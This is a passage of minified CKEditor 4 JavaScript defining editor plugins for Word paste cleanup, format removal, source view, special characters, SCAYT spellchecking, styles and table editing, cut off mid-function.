i=this;n=1,t.once("beforePaste",e),t.getClipboardData({title:t.lang.pastefromword.title},(function(e){e&&t.fire("paste",{type:"html",dataValue:e.dataValue}),t.fire("afterCommandExec",{name:"pastefromword",command:i,returnValue:!!e})}))}}),t.ui.addButton&&t.ui.addButton("PasteFromWord",{label:t.lang.pastefromword.toolbar,command:"pastefromword",toolbar:"clipboard,50"}),t.on("pasteState",(function(e){t.getCommand("pastefromword").setState(e.data)})),t.on("paste",(function(e){var o=e.data,r=o.dataValue;if(r&&(n||/(class=\"?Mso|style=\"[^\"]*\bmso\-|w:WordDocument)/.test(r))){var a=function(e,t,n){var i=CKEDITOR.cleanWord;return i?n():(e=CKEDITOR.getUrl(e.config.pasteFromWordCleanupFile||t+"filter/default.js"),CKEDITOR.scriptLoader.load(e,n,null,!0)),!i}(t,i,(function(){a?t.fire("paste",o):(!t.config.pasteFromWordPromptCleanup||n||confirm(t.lang.pastefromword.confirmCleanup))&&(o.dataValue=CKEDITOR.cleanWord(r,t))}));a&&e.cancel()}}),null,null,3)}})}(),CKEDITOR.plugins.add("removeformat",{init:function(e){e.addCommand("removeFormat",CKEDITOR.plugins.removeformat.commands.removeformat),e.ui.addButton&&e.ui.addButton("RemoveFormat",{label:e.lang.removeformat.toolbar,command:"removeFormat",toolbar:"cleanup,10"})}}),CKEDITOR.plugins.removeformat={commands:{removeformat:{exec:function(e){for(var t,n=e._.removeFormatRegex||(e._.removeFormatRegex=RegExp("^(?:"+e.config.removeFormatTags.replace(/,/g,"|")+")$","i")),i=e._.removeAttributes||(e._.removeAttributes=e.config.removeFormatAttributes.split(",")),o=CKEDITOR.plugins.removeformat.filter,r=e.getSelection().getRanges(1),a=r.createIterator();t=a.getNextRange();){t.collapsed||t.enlarge(CKEDITOR.ENLARGE_ELEMENT);var s=t.createBookmark(),l=s.startNode,c=s.endNode,d=function(t){for(var i,r=e.elementPath(t),a=r.elements,s=1;(i=a[s])&&!i.equals(r.block)&&!i.equals(r.blockLimit);s++)n.test(i.getName())&&o(e,i)&&t.breakParent(i)};if(d(l),c)for(d(c),l=l.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT);l&&!l.equals(c);)d=l.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT),!("img"==l.getName()&&l.data("cke-realelement"))&&o(e,l)&&(n.test(l.getName())?l.remove(1):(l.removeAttributes(i),e.fire("removeFormatCleanup",l))),l=d;t.moveToBookmark(s)}e.forceNextSelectionCheck(),e.getSelection().selectRanges(r)}}},filter:function(e,t){for(var n=e._.removeFormatFilters||[],i=0;i<n.length;i++)if(!1===n[i](t))return!1;return!0}},CKEDITOR.editor.prototype.addRemoveFormatFilter=function(e){this._.removeFormatFilters||(this._.removeFormatFilters=[]),this._.removeFormatFilters.push(e)},CKEDITOR.config.removeFormatTags="b,big,code,del,dfn,em,font,i,ins,kbd,q,s,samp,small,span,strike,strong,sub,sup,tt,u,var",CKEDITOR.config.removeFormatAttributes="class,style,lang,width,height,align,hspace,valign",function(){CKEDITOR.plugins.add("sourcearea",{init:function(t){function n(){this.hide(),this.setStyle("height",this.getParent().$.clientHeight+"px"),this.setStyle("width",this.getParent().$.clientWidth+"px"),this.show()}if(t.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var i=CKEDITOR.plugins.sourcearea;t.addMode("source",(function(i){var o=t.ui.space("contents").getDocument().createElement("textarea");o.setStyles(CKEDITOR.tools.extend({width:CKEDITOR.env.ie7Compat?"99%":"100%",height:"100%",resize:"none",outline:"none","text-align":"left"},CKEDITOR.tools.cssVendorPrefix("tab-size",t.config.sourceAreaTabSize||4))),o.setAttribute("dir","ltr"),o.addClass("cke_source cke_reset cke_enable_context_menu"),t.ui.space("contents").append(o),(o=t.editable(new e(t,o))).setData(t.getData(1)),CKEDITOR.env.ie&&(o.attachListener(t,"resize",n,o),o.attachListener(CKEDITOR.document.getWindow(),"resize",n,o),CKEDITOR.tools.setTimeout(n,0,o)),t.fire("ariaWidget",this),i()})),t.addCommand("source",i.commands.source),t.ui.addButton&&t.ui.addButton("Source",{label:t.lang.sourcearea.toolbar,command:"source",toolbar:"mode,10"}),t.on("mode",(function(){t.getCommand("source").setState("source"==t.mode?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)}))}}});var e=CKEDITOR.tools.createClass({base:CKEDITOR.editable,proto:{setData:function(e){this.setValue(e),this.editor.fire("dataReady")},getData:function(){return this.getValue()},insertHtml:function(){},insertElement:function(){},insertText:function(){},setReadOnly:function(e){this[(e?"set":"remove")+"Attribute"]("readOnly","readonly")},detach:function(){e.baseProto.detach.call(this),this.clearCustomData(),this.remove()}}})}(),CKEDITOR.plugins.sourcearea={commands:{source:{modes:{wysiwyg:1,source:1},editorFocus:!1,readOnly:1,exec:function(e){"wysiwyg"==e.mode&&e.fire("saveSnapshot"),e.getCommand("source").setState(CKEDITOR.TRISTATE_DISABLED),e.setMode("source"==e.mode?"wysiwyg":"source")},canUndo:!1}}},CKEDITOR.plugins.add("specialchar",{availableLangs:{ar:1,bg:1,ca:1,cs:1,cy:1,de:1,el:1,en:1,eo:1,es:1,et:1,fa:1,fi:1,fr:1,"fr-ca":1,gl:1,he:1,hr:1,hu:1,id:1,it:1,ja:1,km:1,ku:1,lv:1,nb:1,nl:1,no:1,pl:1,pt:1,"pt-br":1,ru:1,si:1,sk:1,sl:1,sq:1,sv:1,th:1,tr:1,ug:1,uk:1,vi:1,"zh-cn":1},requires:"dialog",init:function(e){var t=this;CKEDITOR.dialog.add("specialchar",this.path+"dialogs/specialchar.js"),e.addCommand("specialchar",{exec:function(){var n=e.langCode;n=t.availableLangs[n]?n:t.availableLangs[n.replace(/-.*/,"")]?n.replace(/-.*/,""):"en",CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(t.path+"dialogs/lang/"+n+".js"),(function(){CKEDITOR.tools.extend(e.lang.specialchar,t.langEntries[n]),e.openDialog("specialchar")}))},modes:{wysiwyg:1},canUndo:!1}),e.ui.addButton&&e.ui.addButton("SpecialChar",{label:e.lang.specialchar.toolbar,command:"specialchar",toolbar:"insert,50"})}}),CKEDITOR.config.specialChars="! " # $ % & ' ( ) * + - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~ € ‘ ’ “ ” – — ¡ ¢ £ ¤ ¥ ¦ § ¨ © ª « ¬ ® ¯ ° ² ³ ´ µ ¶ · ¸ ¹ º » ¼ ½ ¾ ¿ À Á Â Ã Ä Å Æ Ç È É Ê Ë Ì Í Î Ï Ð Ñ Ò Ó Ô Õ Ö × Ø Ù Ú Û Ü Ý Þ ß à á â ã ä å æ ç è é ê ë ì í î ï ð ñ ò ó ô õ ö ÷ ø ù ú û ü ý þ ÿ Œ œ Ŵ Ŷ ŵ ŷ ‚ ‛ „ … ™ ► • → ⇒ ⇔ ♦ ≈".split(" "),CKEDITOR.plugins.add("menubutton",{requires:"button,menu",onLoad:function(){var e=function(e){var t=this._,n=t.menu;t.state!==CKEDITOR.TRISTATE_DISABLED&&(t.on&&n?n.hide():(t.previousState=t.state,n||((n=t.menu=new CKEDITOR.menu(e,{panel:{className:"cke_menu_panel",attributes:{"aria-label":e.lang.common.options}}})).onHide=CKEDITOR.tools.bind((function(){var n=this.command?e.getCommand(this.command).modes:this.modes;this.setState(!n||n[e.mode]?t.previousState:CKEDITOR.TRISTATE_DISABLED),t.on=0}),this),this.onMenu&&n.addListener(this.onMenu)),this.setState(CKEDITOR.TRISTATE_ON),t.on=1,setTimeout((function(){n.show(CKEDITOR.document.getById(t.id),4)}),0)))};CKEDITOR.ui.menuButton=CKEDITOR.tools.createClass({base:CKEDITOR.ui.button,$:function(t){delete t.panel,this.base(t),this.hasArrow=!0,this.click=e},statics:{handler:{create:function(e){return new CKEDITOR.ui.menuButton(e)}}}})},beforeInit:function(e){e.ui.addHandler(CKEDITOR.UI_MENUBUTTON,CKEDITOR.ui.menuButton.handler)}}),CKEDITOR.UI_MENUBUTTON="menubutton",function(){function e(e,t){var n,i=0;for(n in t)if(t[n]==e){i=1;break}return i}var t="",n=function(){function e(){o.once("focus",r),o.once("blur",n)}function n(t){t=t.editor;var n=i.getScayt(t),o=t.elementMode==CKEDITOR.ELEMENT_MODE_INLINE;n&&(i.setPaused(t,!n.disabled),i.setControlId(t,n.id),n.destroy(!0),delete i.instances[t.name],o&&e())}var o=this,r=function(){if(void 0===i.instances[o.name]&&null==i.instances[o.name]){var e=o.config,t={};if(t.srcNodeRef="BODY"==o.editable().$.nodeName?o.document.getWindow().$.frameElement:o.editable().$,t.assocApp="CKEDITOR."+CKEDITOR.version+"@"+CKEDITOR.revision,t.customerid=e.scayt_customerid||"1:WvF0D4-UtPqN1-43nkD4-NKvUm2-daQqk3-LmNiI-z7Ysb4-mwry24-T8YrS3-Q2tpq2",t.customDictionaryIds=e.scayt_customDictionaryIds||"",t.userDictionaryName=e.scayt_userDictionaryName||"",t.sLang=e.scayt_sLang||"en_US",t.onLoad=function(){CKEDITOR.env.ie&&8>CKEDITOR.env.version||this.addStyle(this.selectorCss(),"padding-bottom: 2px !important;"),o.editable().hasFocus&&!i.isControlRestored(o)&&this.focus()},"object"==typeof(e=window.scayt_custom_params))for(var n in e)t[n]=e[n];i.getControlId(o)&&(t.id=i.getControlId(o));var r=new window.scayt(t);r.afterMarkupRemove.push((function(e){new CKEDITOR.dom.element(e,r.document).mergeSiblings()})),(t=i.instances[o.name])&&(r.sLang=t.sLang,r.option(t.option()),r.paused=t.paused),i.instances[o.name]=r;try{r.setDisabled(!1===i.isPaused(o))}catch(e){}o.fire("showScaytState")}};o.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?e():o.on("contentDom",r),o.on("contentDomUnload",(function(){for(var e=CKEDITOR.document.getElementsByTag("script"),t=/^dojoIoScript(\d+)$/i,n=/^https?:\/\/svc\.webspellchecker\.net\/spellcheck\/script\/ssrv\.cgi/i,i=0;i<e.count();i++){var o=e.getItem(i),r=o.getId(),a=o.getAttribute("src");r&&a&&r.match(t)&&a.match(n)&&o.remove()}})),o.on("beforeCommandExec",(function(e){"source"==e.data.name&&"source"==o.mode&&i.markControlRestore(o)})),o.on("afterCommandExec",(function(e){!i.isScaytEnabled(o)||"wysiwyg"!=o.mode||"undo"!=e.data.name&&"redo"!=e.data.name||(i.getScayt(o).setDisabled(!0),i.refresh_timeout&&window.clearTimeout(i.refresh_timeout),i.refresh_timeout=window.setTimeout((function(){i.getScayt(o).setDisabled(!1),i.getScayt(o).focus(),i.getScayt(o).refresh()}),10))})),o.on("destroy",n),o.on("setData",n),o.on("insertElement",(function(){var e=i.getScayt(o);i.isScaytEnabled(o)&&(CKEDITOR.env.ie&&o.getSelection().unlock(!0),window.setTimeout((function(){e.focus(),e.refresh()}),10))}),this,null,50),o.on("insertHtml",(function(){var e=i.getScayt(o);i.isScaytEnabled(o)&&(CKEDITOR.env.ie&&o.getSelection().unlock(!0),window.setTimeout((function(){e.focus(),e.refresh()}),10))}),this,null,50),o.on("scaytDialog",(function(e){e.data.djConfig=window.djConfig,e.data.scayt_control=i.getScayt(o),e.data.tab=t,e.data.scayt=window.scayt})),(a=(a=o.dataProcessor)&&a.htmlFilter)&&a.addRules({elements:{span:function(e){if(e.attributes["data-scayt_word"]&&e.attributes["data-scaytid"])return delete e.name,e}}});var a,s="function"==typeof(a=CKEDITOR.plugins.undo.Image.prototype).equalsContent?"equalsContent":"equals";a[s]=CKEDITOR.tools.override(a[s],(function(e){return function(t){var n=this.contents,o=t.contents,r=i.getScayt(this.editor);return r&&i.isScaytReady(this.editor)&&(this.contents=r.reset(n)||"",t.contents=r.reset(o)||""),r=e.apply(this,arguments),this.contents=n,t.contents=o,r}})),(a=CKEDITOR.editor.prototype).checkDirty=CKEDITOR.tools.override(a.checkDirty,(function(e){return function(){var t=i.getScayt(this);return t&&i.isScaytReady(this)?t.reset(this.getSnapshot())!==(t=t.reset(this._.previousValue)):e.apply(this)}})),o.document&&(o.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE||o.focusManager.hasFocus)&&r()};CKEDITOR.plugins.scayt={engineLoaded:!1,instances:{},controlInfo:{},setControlInfo:function(e,t){for(var n in e&&e.name&&"object"!=typeof this.controlInfo[e.name]&&(this.controlInfo[e.name]={}),t)this.controlInfo[e.name][n]=t[n]},isControlRestored:function(e){return!!(e&&e.name&&this.controlInfo[e.name])&&this.controlInfo[e.name].restored},markControlRestore:function(e){this.setControlInfo(e,{restored:!0})},setControlId:function(e,t){this.setControlInfo(e,{id:t})},getControlId:function(e){return e&&e.name&&this.controlInfo[e.name]&&this.controlInfo[e.name].id?this.controlInfo[e.name].id:null},setPaused:function(e,t){this.setControlInfo(e,{paused:t})},isPaused:function(e){if(e&&e.name&&this.controlInfo[e.name])return this.controlInfo[e.name].paused},getScayt:function(e){return this.instances[e.name]},isScaytReady:function(e){return!0===this.engineLoaded&&void 0!==window.scayt&&this.getScayt(e)},isScaytEnabled:function(e){return!!(e=this.getScayt(e))&&!1===e.disabled},getUiTabs:function(e){var t,n=[];(t=(t=e.config.scayt_uiTabs||"1,1,1").split(","))[3]="1";for(var i=0;4>i;i++)n[i]=void 0!==window.scayt&&void 0!==window.scayt.uiTags?parseInt(t[i],10)&&window.scayt.uiTags[i]:parseInt(t[i],10);return"object"==typeof e.plugins.wsc?n.push(1):n.push(0),n},loadEngine:function(e){if(CKEDITOR.env.gecko&&10900>CKEDITOR.env.version||CKEDITOR.env.opera||CKEDITOR.env.air)return e.fire("showScaytState");if(!0===this.engineLoaded)return n.apply(e);if(-1==this.engineLoaded)return CKEDITOR.on("scaytReady",(function(){n.apply(e)}));CKEDITOR.on("scaytReady",n,e),CKEDITOR.on("scaytReady",(function(){this.engineLoaded=!0}),this,null,0),this.engineLoaded=-1;var t=-1!=(t=document.location.protocol).search(/https?:/)?t:"http:",o=(t=e.config.scayt_srcUrl||t+"//svc.webspellchecker.net/scayt26/loader__base.js",i.parseUrl(t).path+"/");return null==window.scayt?(CKEDITOR._djScaytConfig={baseUrl:o,addOnLoad:[function(){CKEDITOR.fireOnce("scaytReady")}],isDebug:!1},CKEDITOR.document.getHead().append(CKEDITOR.document.createElement("script",{attributes:{type:"text/javascript",async:"true",src:t}}))):CKEDITOR.fireOnce("scaytReady"),null},parseUrl:function(e){var t;return e.match&&(t=e.match(/(.*)[\/\\](.*?\.\w+)$/))?{path:t[1],file:t[2]}:e}};var i=CKEDITOR.plugins.scayt,o=function(e,t,n,i,o,r,a){e.addCommand(i,o),e.addMenuItem(i,{label:n,command:i,group:r,order:a})},r={preserveState:!0,editorFocus:!1,canUndo:!1,exec:function(e){if(i.isScaytReady(e)){var t=i.isScaytEnabled(e);this.setState(t?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_ON),(e=i.getScayt(e)).focus(),e.setDisabled(t)}else!e.config.scayt_autoStartup&&0<=i.engineLoaded&&(e.focus(),this.setState(CKEDITOR.TRISTATE_DISABLED),i.loadEngine(e))}};CKEDITOR.plugins.add("scayt",{requires:"menubutton,dialog",beforeInit:function(e){var t=e.config.scayt_contextMenuItemsOrder||"suggest|moresuggest|control",n="";if((t=t.split("|"))&&t.length)for(var i=0;i<t.length;i++)n+="scayt_"+t[i]+(t.length!=parseInt(i,10)+1?",":"");e.config.menu_groups=n+","+e.config.menu_groups},checkEnvironment:function(){return CKEDITOR.env.opera||CKEDITOR.env.air?0:1},init:function(n){var a=n.dataProcessor&&n.dataProcessor.dataFilter,s={elements:{span:function(e){var t=e.attributes;t&&t["data-scaytid"]&&delete e.name}}};a&&a.addRules(s);var l={},c={},d=n.addCommand("scaytcheck",r);CKEDITOR.dialog.add("scaytcheck",CKEDITOR.getUrl(this.path+"dialogs/options.js")),a=i.getUiTabs(n),n.addMenuGroup("scaytButton"),n.addMenuGroup("scayt_suggest",-10),n.addMenuGroup("scayt_moresuggest",-9),n.addMenuGroup("scayt_control",-8),s={};var u=n.lang.scayt;s.scaytToggle={label:u.enable,command:"scaytcheck",group:"scaytButton"},1==a[0]&&(s.scaytOptions={label:u.options,group:"scaytButton",onClick:function(){t="options",n.openDialog("scaytcheck")}}),1==a[1]&&(s.scaytLangs={label:u.langs,group:"scaytButton",onClick:function(){t="langs",n.openDialog("scaytcheck")}}),1==a[2]&&(s.scaytDict={label:u.dictionariesTab,group:"scaytButton",onClick:function(){t="dictionaries",n.openDialog("scaytcheck")}}),s.scaytAbout={label:n.lang.scayt.about,group:"scaytButton",onClick:function(){t="about",n.openDialog("scaytcheck")}},1==a[4]&&(s.scaytWSC={label:n.lang.wsc.toolbar,group:"scaytButton",command:"checkspell"}),n.addMenuItems(s),n.ui.add("Scayt",CKEDITOR.UI_MENUBUTTON,{label:u.title,title:CKEDITOR.env.opera?u.opera_title:u.title,modes:{wysiwyg:this.checkEnvironment()},toolbar:"spellchecker,20",onRender:function(){d.on("state",(function(){this.setState(d.state)}),this)},onMenu:function(){var e=i.isScaytEnabled(n);n.getMenuItem("scaytToggle").label=u[e?"disable":"enable"];var t=i.getUiTabs(n);return{scaytToggle:CKEDITOR.TRISTATE_OFF,scaytOptions:e&&t[0]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytLangs:e&&t[1]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytDict:e&&t[2]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytAbout:e&&t[3]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytWSC:t[4]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED}}}),n.contextMenu&&n.addMenuItems&&n.contextMenu.addListener((function(t,r){if(!i.isScaytEnabled(n)||r.getRanges()[0].checkReadOnly())return null;var a=i.getScayt(n),s=a.getScaytNode();if(!s)return null;if(!(f=a.getWord(s)))return null;var d,h=a.getLang(),m=n.config.scayt_contextCommands||"all",f=window.scayt.getSuggestion(f,h);for(d in m=m.split("|"),l)delete n._.menuItems[d],delete n.commands[d];for(d in c)delete n._.menuItems[d],delete n.commands[d];if(f&&f.length){l={},c={},d=n.config.scayt_moreSuggestions||"on",h=!1;var E=n.config.scayt_maxSuggestions;"number"!=typeof E&&(E=5),!E&&(E=f.length);for(var g=0,T=f.length;g<T;g+=1){var p="scayt_suggestion_"+f[g].replace(" ","_"),C=function(e,t){return{exec:function(){a.replace(e,t)}}}(s,f[g]);g<E?(o(n,0,f[g],p,C,"scayt_suggest",g+1),c[p]=CKEDITOR.TRISTATE_OFF):"on"==d&&(o(n,0,f[g],p,C,"scayt_moresuggest",g+1),l[p]=CKEDITOR.TRISTATE_OFF,h=!0)}h&&(n.addMenuItem("scayt_moresuggest",{label:u.moreSuggestions,group:"scayt_moresuggest",order:10,getItems:function(){return l}}),c.scayt_moresuggest=CKEDITOR.TRISTATE_OFF)}else o(n,0,u.noSuggestions,"scayt_no_sugg",{exec:function(){}},"scayt_control",1),c.scayt_no_sugg=CKEDITOR.TRISTATE_OFF;return(e("all",m)||e("ignore",m))&&(o(n,0,u.ignore,"scayt_ignore",{exec:function(){a.ignore(s)}},"scayt_control",2),c.scayt_ignore=CKEDITOR.TRISTATE_OFF),(e("all",m)||e("ignoreall",m))&&(o(n,0,u.ignoreAll,"scayt_ignore_all",{exec:function(){a.ignoreAll(s)}},"scayt_control",3),c.scayt_ignore_all=CKEDITOR.TRISTATE_OFF),(e("all",m)||e("add",m))&&(o(n,0,u.addWord,"scayt_add_word",{exec:function(){window.scayt.addWordToUserDictionary(s)}},"scayt_control",4),c.scayt_add_word=CKEDITOR.TRISTATE_OFF),a.fireOnContextMenu&&a.fireOnContextMenu(n),c})),a=function(e){e.removeListener(),CKEDITOR.env.opera||CKEDITOR.env.air?d.setState(CKEDITOR.TRISTATE_DISABLED):d.setState(i.isScaytEnabled(n)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)},n.on("showScaytState",a),n.on("instanceReady",a),n.config.scayt_autoStartup&&n.on("instanceReady",(function(){i.loadEngine(n)}))},afterInit:function(e){var t,n=function(e){if(e.hasAttribute("data-scaytid"))return!1};e._.elementsPath&&(t=e._.elementsPath.filters)&&t.push(n),e.addRemoveFormatFilter&&e.addRemoveFormatFilter(n)}})}(),CKEDITOR.plugins.add("stylescombo",{requires:"richcombo",init:function(e){var t=e.config,n=e.lang.stylescombo,i={},o=[],r=[];e.on("stylesSet",(function(n){if(n=n.data.styles){for(var a,s,l=0,c=n.length;l<c;l++)a=n[l],e.blockless&&a.element in CKEDITOR.dtd.$block||(s=a.name,a=new CKEDITOR.style(a),e.filter.customConfig&&!e.filter.check(a))||(a._name=s,a._.enterMode=t.enterMode,a._.weight=l+1e3*(a.type==CKEDITOR.STYLE_OBJECT?1:a.type==CKEDITOR.STYLE_BLOCK?2:3),i[s]=a,o.push(a),r.push(a));o.sort((function(e,t){return e._.weight-t._.weight}))}})),e.ui.addRichCombo("Styles",{label:n.label,title:n.panelTitle,toolbar:"styles,10",allowedContent:r,panel:{css:[CKEDITOR.skin.getPath("editor")].concat(t.contentsCss),multiSelect:!0,attributes:{"aria-label":n.panelTitle}},init:function(){var e,t,i,r,a,s;for(a=0,s=o.length;a<s;a++)t=(e=o[a])._name,(r=e.type)!=i&&(this.startGroup(n["panelTitle"+r]),i=r),this.add(t,e.type==CKEDITOR.STYLE_OBJECT?t:e.buildPreview(),t);this.commit()},onClick:function(t){e.focus(),e.fire("saveSnapshot"),t=i[t];var n=e.elementPath();e[t.checkActive(n)?"removeStyle":"applyStyle"](t),e.fire("saveSnapshot")},onRender:function(){e.on("selectionChange",(function(e){for(var t,n=this.getValue(),o=0,r=(e=e.data.path.elements).length;o<r;o++)for(var a in t=e[o],i)if(i[a].checkElementRemovable(t,!0))return void(a!=n&&this.setValue(a));this.setValue("")}),this)},onOpen:function(){var t=e.getSelection().getSelectedElement(),o=(t=e.elementPath(t),[0,0,0,0]);for(var r in this.showAll(),this.unmarkAll(),i){var a=i[r],s=a.type;a.checkApplicable(t,e.activeFilter)?o[s]++:this.hideItem(r),a.checkActive(t)&&this.mark(r)}o[CKEDITOR.STYLE_BLOCK]||this.hideGroup(n["panelTitle"+CKEDITOR.STYLE_BLOCK]),o[CKEDITOR.STYLE_INLINE]||this.hideGroup(n["panelTitle"+CKEDITOR.STYLE_INLINE]),o[CKEDITOR.STYLE_OBJECT]||this.hideGroup(n["panelTitle"+CKEDITOR.STYLE_OBJECT])},refresh:function(){var t=e.elementPath();if(t){for(var n in i)if(i[n].checkApplicable(t,e.activeFilter))return;this.setState(CKEDITOR.TRISTATE_DISABLED)}},reset:function(){i={},o=[]}})}}),function(){function e(e){return{editorFocus:!1,canUndo:!1,modes:{wysiwyg:1},exec:function(t){if(t.editable().hasFocus){var n,i=t.getSelection();if(n=new CKEDITOR.dom.elementPath(i.getCommonAncestor(),i.root).contains({td:1,th:1},1)){if(i=t.createRange(),(r=CKEDITOR.tools.tryThese((function(){var t=n.getParent().$.cells[n.$.cellIndex+(e?-1:1)];return t.parentNode.parentNode,t}),(function(){var t;return(t=(t=n.getParent()).getAscendant("table").$.rows[t.$.rowIndex+(e?-1:1)]).cells[e?t.cells.length-1:0]})))||e){if(!r)return!0;r=new CKEDITOR.dom.element(r),i.moveToElementEditStart(r),(!i.checkStartOfBlock()||!i.checkEndOfBlock())&&i.selectNodeContents(r)}else{for(var o=n.getAscendant("table").$,r=n.getParent().$.cells,a=(o=new CKEDITOR.dom.element(o.insertRow(-1),t.document),0),s=r.length;a<s;a++)o.append(new CKEDITOR.dom.element(r[a],t.document).clone(!1,!1)).appendBogus();i.moveToElementEditStart(o)}return i.select(!0),!0}}return!1}}}var t={editorFocus:!1,modes:{wysiwyg:1,source:1}},n={exec:function(e){e.container.focusNext(!0,e.tabIndex)}},i={exec:function(e){e.container.focusPrevious(!0,e.tabIndex)}};CKEDITOR.plugins.add("tab",{init:function(o){for(var r=!1!==o.config.enableTabKeyTools,a=o.config.tabSpaces||0,s="";a--;)s+=" ";s&&o.on("key",(function(e){9==e.data.keyCode&&(o.insertHtml(s),e.cancel())})),r&&o.on("key",(function(e){(9==e.data.keyCode&&o.execCommand("selectNextCell")||e.data.keyCode==CKEDITOR.SHIFT+9&&o.execCommand("selectPreviousCell"))&&e.cancel()})),o.addCommand("blur",CKEDITOR.tools.extend(n,t)),o.addCommand("blurBack",CKEDITOR.tools.extend(i,t)),o.addCommand("selectNextCell",e()),o.addCommand("selectPreviousCell",e(!0))}})}(),CKEDITOR.dom.element.prototype.focusNext=function(e,t){var n,i,o,r,a,s,l=void 0===t?this.getTabIndex():t;if(0>=l)for(a=this.getNextSourceNode(e,CKEDITOR.NODE_ELEMENT);a;){if(a.isVisible()&&0===a.getTabIndex()){o=a;break}a=a.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT)}else for(a=this.getDocument().getBody().getFirst();a=a.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!n)if(!i&&a.equals(this)){if(i=!0,e){if(!(a=a.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;n=1}}else i&&!this.contains(a)&&(n=1);if(a.isVisible()&&!(0>(s=a.getTabIndex()))){if(n&&s==l){o=a;break}(s>l&&(!o||!r||s<r)||!o&&0===s)&&(o=a,r=s)}}o&&o.focus()},CKEDITOR.dom.element.prototype.focusPrevious=function(e,t){for(var n,i,o,r,a=void 0===t?this.getTabIndex():t,s=0,l=this.getDocument().getBody().getLast();l=l.getPreviousSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!n)if(!i&&l.equals(this)){if(i=!0,e){if(!(l=l.getPreviousSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;n=1}}else i&&!this.contains(l)&&(n=1);if(l.isVisible()&&!(0>(r=l.getTabIndex())))if(0>=a){if(n&&0===r){o=l;break}r>s&&(o=l,s=r)}else{if(n&&r==a){o=l;break}r<a&&(!o||r>s)&&(o=l,s=r)}}o&&o.focus()},CKEDITOR.plugins.add("table",{requires:"dialog",init:function(e){function t(e){return CKEDITOR.tools.extend(e||{},{contextSensitive:1,refresh:function(e,t){this.setState(t.contains("table",1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}if(!e.blockless){var n=e.lang.table;e.addCommand("table",new CKEDITOR.dialogCommand("table",{context:"table",allowedContent:"table{width,height}[align,border,cellpadding,cellspacing,summary];caption tbody thead tfoot;th td tr[scope];"+(e.plugins.dialogadvtab?"table"+e.plugins.dialogadvtab.allowedContent():""),requiredContent:"table",contentTransformations:[["table{width}: sizeToStyle","table[width]: sizeToAttribute"]]})),e.addCommand("tableProperties",new CKEDITOR.dialogCommand("tableProperties",t())),e.addCommand("tableDelete",t({exec:function(e){var t=e.elementPath().contains("table",1);if(t){var n=t.getParent();1==n.getChildCount()&&!n.is("body","td","th")&&(t=n),(e=e.createRange()).moveToPosition(t,CKEDITOR.POSITION_BEFORE_START),t.remove(),e.select()}}})),e.ui.addButton&&e.ui.addButton("Table",{label:n.toolbar,command:"table",toolbar:"insert,30"}),CKEDITOR.dialog.add("table",this.path+"dialogs/table.js"),CKEDITOR.dialog.add("tableProperties",this.path+"dialogs/table.js"),e.addMenuItems&&e.addMenuItems({table:{label:n.menu,command:"tableProperties",group:"table",order:5},tabledelete:{label:n.deleteTable,command:"tableDelete",group:"table",order:1}}),e.on("doubleclick",(function(e){e.data.element.is("table")&&(e.data.dialog="tableProperties")})),e.contextMenu&&e.contextMenu.addListener((function(){return{tabledelete:CKEDITOR.TRISTATE_OFF,table:CKEDITOR.TRISTATE_OFF}}))}}}),function(){function e(e){function t(e){!(0<n.length)&&e.type==CKEDITOR.NODE_ELEMENT&&h.test(e.getName())&&!e.getCustomData("selected_cell")&&(CKEDITOR.dom.element.setMarker(i,e,"selected_cell",!0),n.push(e))}e=e.getRanges();for(var n=[],i={},o=0;o<e.length;o++){var r,a;if((r=e[o]).collapsed)(r=(r=r.getCommonAncestor()).getAscendant("td",!0)||r.getAscendant("th",!0))&&n.push(r);else for((r=new CKEDITOR.dom.walker(r)).guard=t;a=r.next();)a.type==CKEDITOR.NODE_ELEMENT&&a.is(CKEDITOR.dtd.table)||(a=a.getAscendant("td",!0)||a.getAscendant("th",!0))&&!a.getCustomData("selected_cell")&&(CKEDITOR.dom.element.setMarker(i,a,"selected_cell",!0),n.push(a))}return CKEDITOR.dom.element.clearAllMarkers(i),n}function t(t,n){var i=(o=(s=e(t))[0]).getAscendant("table"),o=o.getDocument(),r=(l=s[0].getParent()).$.rowIndex,a=(s=s[s.length-1]).getParent().$.rowIndex+s.$.rowSpan-1,s=new CKEDITOR.dom.element(i.$.rows[a]),l=(r=n?r:a,n?l:s);for(i=(s=CKEDITOR.tools.buildTableMap(i))[r],r=n?s[r-1]:s[r+1],s=s[0].length,o=o.createElement("tr"),a=0;i[a]&&a<s;a++){var c;1<i[a].rowSpan&&r&&i[a]==r[a]?(c=i[a]).rowSpan+=1:((c=new CKEDITOR.dom.element(i[a]).clone()).removeAttribute("rowSpan"),c.appendBogus(),o.append(c),c=c.$),a+=c.colSpan-1}n?o.insertBefore(l):o.insertAfter(l)}function n(t){if(t instanceof CKEDITOR.dom.selection){for(var i=(a=e(t))[0].getAscendant("table"),o=CKEDITOR.tools.buildTableMap(i),r=(t=a[0].getParent().$.rowIndex,(a=a[a.length-1]).getParent().$.rowIndex+a.$.rowSpan-1),a=[],s=t;s<=r;s++){for(var l=o[s],c=new CKEDITOR.dom.element(i.$.rows[s]),d=0;d<l.length;d++){var u=new 